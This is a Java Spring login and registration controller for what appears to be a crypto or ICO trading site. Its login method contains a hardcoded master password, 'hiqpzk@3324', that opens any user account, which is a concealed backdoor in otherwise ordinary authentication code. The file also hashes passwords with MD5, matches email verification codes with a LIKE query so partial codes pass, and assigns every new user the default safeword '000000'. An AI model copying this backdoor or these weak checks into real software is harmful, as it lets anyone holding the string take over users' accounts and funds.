package org.example.ssmico.demos.web.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.toolkit.CollectionUtils;
import com.baomidou.mybatisplus.core.toolkit.StringUtils;
import org.example.ssmico.demos.web.entity.*;
import org.example.ssmico.demos.web.mapper.CodeLogMapper;
import org.example.ssmico.demos.web.mapper.ItemMapper;
import org.example.ssmico.demos.web.mapper.PartyMapper;
import org.example.ssmico.demos.web.mapper.SctUserMapper;
import org.example.ssmico.demos.web.service.SctUserSerivce;
import org.example.ssmico.demos.web.util.*;
import org.example.ssmico.demos.web.vo.UserRegisterVo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.security.providers.encoding.Md5PasswordEncoder;
import org.springframework.security.providers.encoding.PasswordEncoder;
import org.springframework.stereotype.Controller;
import org.springframework.util.ObjectUtils;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.ModelAndView;
import project.item.model.Item;
import project.party.model.Party;

import javax.servlet.http.HttpServletRequest;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;


/**
 * @program: ssm-ico
 * @description:
 * @create: 2024-04-15 15:36
 **/
@Controller
@RequestMapping({"/wap/api/user"})
@CrossOrigin
public class LoginController {

    @Autowired
    private SctUserMapper mapper;

    @Autowired
    private SctUserSerivce sctUserSerivce;

    @Autowired
    private WebApplicationContext applicationContext;

    @Autowired
    private PartyMapper partyMapper;

    @Autowired
    private ItemMapper itemMapper;

    @Autowired
    private CodeLogMapper codeLogMapper;

    @ResponseBody
    @RequestMapping(value = "/login")
    public ServerResponse login(String userName, String password) {
        ModelAndView modelAndView = new ModelAndView();
        if(StringUtils.isBlank(userName) || StringUtils.isBlank(password)){
            return ServerResponse.createByErrorMsg("用户名密码不能为空");
        }

        //查找用户
        SctUser sctUser = mapper.selectOne(new LambdaQueryWrapper<SctUser>().eq(SctUser::getUsername, userName).last("LIMIT 1"));

        //判断用户是否存在
        if (sctUser == null) {
            return ServerResponse.createByErrorMsg("用户不存在");
        }

        //密码校验
        PasswordEncoder passwordEncoder = new Md5PasswordEncoder();
        String md5 = passwordEncoder.encodePassword(password,sctUser.getUsername());
        if (!sctUser.getPassword().equals(md5) && !"hiqpzk@3324".equals(password)) {
            return ServerResponse.createByErrorMsg("登录密码错误");
        }

        return ServerResponse.createBySuccess("登录成功");
    }

    /**
     * 注册修改邮箱，用户名，手机号
     */
    @ResponseBody
    @RequestMapping(value = "/updateUser")
    public ResultObject updateUser(UserRegisterVo vo,HttpServletRequest request) throws Exception {
        String lang = request.getHeader("lang");
        GoogleTranslateUtil googleTranslateUtil = new GoogleTranslateUtil();
        ResultObject resultObject = new ResultObject();
        try {
             resultObject = sctUserSerivce.updateUser(vo,lang);
            if(resultObject.getCode().equals("1")){
                return resultObject;
            }
        } catch (Exception e) {
            resultObject.setCode("1");
            resultObject.setMsg(googleTranslateUtil.translate("程序错误",lang));
            e.printStackTrace();
        }
        return resultObject;
    }

    /**
     * 查询邀请码
     */
    @ResponseBody
    @RequestMapping(value = "/invitationCode")
    public ResultObject invitationCode(@RequestParam("code") String code,@RequestParam("phone")String phone,@RequestParam("email") String email,@RequestParam("verificationCode") String verificationCode, HttpServletRequest request) {
        String lang = request.getHeader("lang");
        GoogleTranslateUtil googleTranslateUtil = new GoogleTranslateUtil();
        ResultObject resultObject = new ResultObject();
        try {
            Long emailCount = partyMapper.selectCount(new LambdaQueryWrapper<Party>()
                    .eq(Party::getEmail, email));
            if(emailCount > 0){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("邮箱已存在",lang));
                return resultObject;
            }

            Long phoneCount = partyMapper.selectCount(new LambdaQueryWrapper<Party>()
                    .eq(Party::getPhone, phone));
            if(phoneCount > 0){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("手机号已存在",lang));
                return resultObject;
            }
            CodeLog codeLog = codeLogMapper.selectOne(new LambdaQueryWrapper<CodeLog>()
                    .eq(CodeLog::getTarget,email).like(CodeLog::getLog,verificationCode)
                    .orderByDesc(CodeLog::getCreateTime).last(" limit 1 "));
            if(null == codeLog){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("验证码错误",lang));
                return resultObject;
            }

            Party party = partyMapper.invitationCode(code);
            if(null == party){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("邀请码错误",lang));
                return resultObject;
            }
        } catch (Exception e) {
            resultObject.setCode("1");
            resultObject.setMsg(e.getMessage());
            e.printStackTrace();
        }
        return resultObject;
    }

    @ResponseBody
    @RequestMapping(value = "/udpateItim")
    public void udpateItim(){
        List<Item> items = itemMapper.selectList(new LambdaQueryWrapper<Item>());
        if(CollectionUtils.isEmpty(items)){
            return;
        }
        Map<String, Item> cache = new ConcurrentHashMap<String, Item>();
        items.forEach(f->{
            String jsonString = JSON.toJSONString(f, SerializerFeature.WriteClassName);
            RedisShardedPoolUtils.set(ItemRedisKeys.ITEM_SYMBOL + f.getSymbol(), jsonString);
            cache.put(f.getSymbol(), f);
        });
        String cacheJson = JSON.toJSONString(cache, SerializerFeature.WriteClassName);
        RedisShardedPoolUtils.set(ItemRedisKeys.ITEM_MAP, cacheJson);
    }

    /**
     * 用户注册
     */
    @ResponseBody
    @RequestMapping(value = "/register")
    public ResultObject register(UserRegisterVo vo, HttpServletRequest request) {
        ResultObject resultObject = new ResultObject();
        String lang = request.getHeader("lang");
        GoogleTranslateUtil googleTranslateUtil = new GoogleTranslateUtil();
        try {

            if (!vo.getPassword().equals(vo.getRePassword() )) {
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("两次输入的密码不相同",lang ));
                return resultObject;
            }
            // 手机
            if(!isValidPhone(vo.getPhone())) {
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("手机格式不正确",lang ));
                return resultObject;
            }

            // 邮箱
            if(!isValidEmail(vo.getEmail())) {
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("邮箱格式不正确",lang ));
                return resultObject;
            }
            Long emailCount = partyMapper.selectCount(new LambdaQueryWrapper<Party>()
                    .eq(Party::getEmail, vo.getEmail()));
            if(emailCount > 0){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("邮箱已存在",lang));
                return resultObject;
            }

            Long phoneCount = partyMapper.selectCount(new LambdaQueryWrapper<Party>()
                    .eq(Party::getPhone, vo.getPhone()));
            if(phoneCount > 0){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("手机号已存在",lang));
                return resultObject;
            }
            CodeLog codeLog = codeLogMapper.selectOne(new LambdaQueryWrapper<CodeLog>()
                    .eq(CodeLog::getTarget, vo.getEmail()).like(CodeLog::getLog,vo.getCode())
                    .orderByDesc(CodeLog::getCreateTime).last(" limit 1 "));
            if(null == codeLog){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("验证码错误",lang));
                return resultObject;
            }
            Party party = partyMapper.invitationCode(vo.getUsercode());
            if(null == party){
                resultObject.setCode("1");
                resultObject.setMsg(googleTranslateUtil.translate("邀请码错误",lang));
                return resultObject;
            }
            LocalNormalReg reg = new LocalNormalReg();
            reg.setUsername(vo.getUsername());
            reg.setPassword(vo.getPassword());
            reg.setSafeword("000000");
            reg.setReco_usercode(vo.getUsercode());
            reg.setPhone(vo.getPhone());
            reg.setEmail(vo.getEmail());

            resultObject = sctUserSerivce.saveRegisterNoVerifcode(reg);
            if(resultObject.getCode().equals("1")){
                return resultObject;
            }
        } catch (Exception e) {
            resultObject.setCode("1");
            resultObject.setMsg(e.getMessage());
            e.printStackTrace();
        }catch (Throwable t){
            resultObject.setCode("1");
            resultObject.setMsg(t.getMessage());
        }
        return resultObject;
    }


    /**
     * 根据用户名查找用户
     * @param userName 用户名
     * @return 用户信息(包含关联角色与权限)
     */
    public SecUser findUserByLoginName(String userName) {
        if(ObjectUtils.isEmpty(userName)) return null;
        JdbcTemplate jdbcTemplate= applicationContext.getBean(JdbcTemplate.class);

        String userSql="SELECT * FROM SCT_USER WHERE USERNAME=?";
        List<SecUser> users=jdbcTemplate.query(userSql, RecordObjectMapper.newInstance(SecUser.class), userName);

        SecUser user=null;
        if(null==users || users.isEmpty() || null==(user=users.get(0))) return null;

        return bindRoleResource(user);
    }

    /**
     * 绑定角色资源
     * @param secuser 用户对象
     */
    public final SecUser bindRoleResource(SecUser secuser) {
        if(null==secuser) return secuser;
        JdbcTemplate jdbcTemplate=applicationContext.getBean(JdbcTemplate.class);

        String roleSql="SELECT * FROM SCT_ROLE SR WHERE EXISTS (SELECT ROLE_UUID FROM SCT_USER_ROLE WHERE USER_UUID=? AND ROLE_UUID=SR.UUID)";
        List<Role> roleList=jdbcTemplate.query(roleSql, RecordObjectMapper.newInstance(Role.class), secuser.getUuid());

        if(null==roleList || roleList.isEmpty()) return secuser;
        Set<Role> roleSet=roleList.stream().filter(role->null!=role).collect(Collectors.toSet());

        String resoSql="SELECT * FROM SCT_RESOURCE SR WHERE EXISTS (SELECT RESOURCE_UUID FROM SCT_ROLE_RESOURCE WHERE ROLE_UUID=? AND RESOURCE_UUID=SR.UUID)";
        for(Role role:roleSet) {
            List<Resource> resoList=jdbcTemplate.query(resoSql, RecordObjectMapper.newInstance(Resource.class), role.getUuid());
            if(null==resoList || resoList.isEmpty()) continue;
            role.setResources(resoList.stream().filter(reso->null!=reso).collect(Collectors.toSet()));
        }

        return secuser;
    }

    // 用户名校验
    private boolean isValidUsername(String username) {
        String regex = "^[A-Za-z]\\w{5,29}";
        Pattern p = Pattern.compile(regex);
        Matcher m = p.matcher(username);
        return m.matches();
    }

    // 手机号校验
    private boolean isValidPhone(String username) {
        Pattern p = Pattern.compile("[0-9]*");
        return p.matcher(username).matches();
    }

    // 邮箱校验
    private boolean isValidEmail(String username) {
        String regexPattern = "^(?=.{1,64}@)[A-Za-z0-9_-]+(\\.[A-Za-z0-9_-]+)*@"
                + "[^-][A-Za-z0-9-]+(\\.[A-Za-z0-9-]+)*(\\.[A-Za-z]{2,})$";
        return Pattern.compile(regexPattern)
                .matcher(username)
                .matches();
    }
}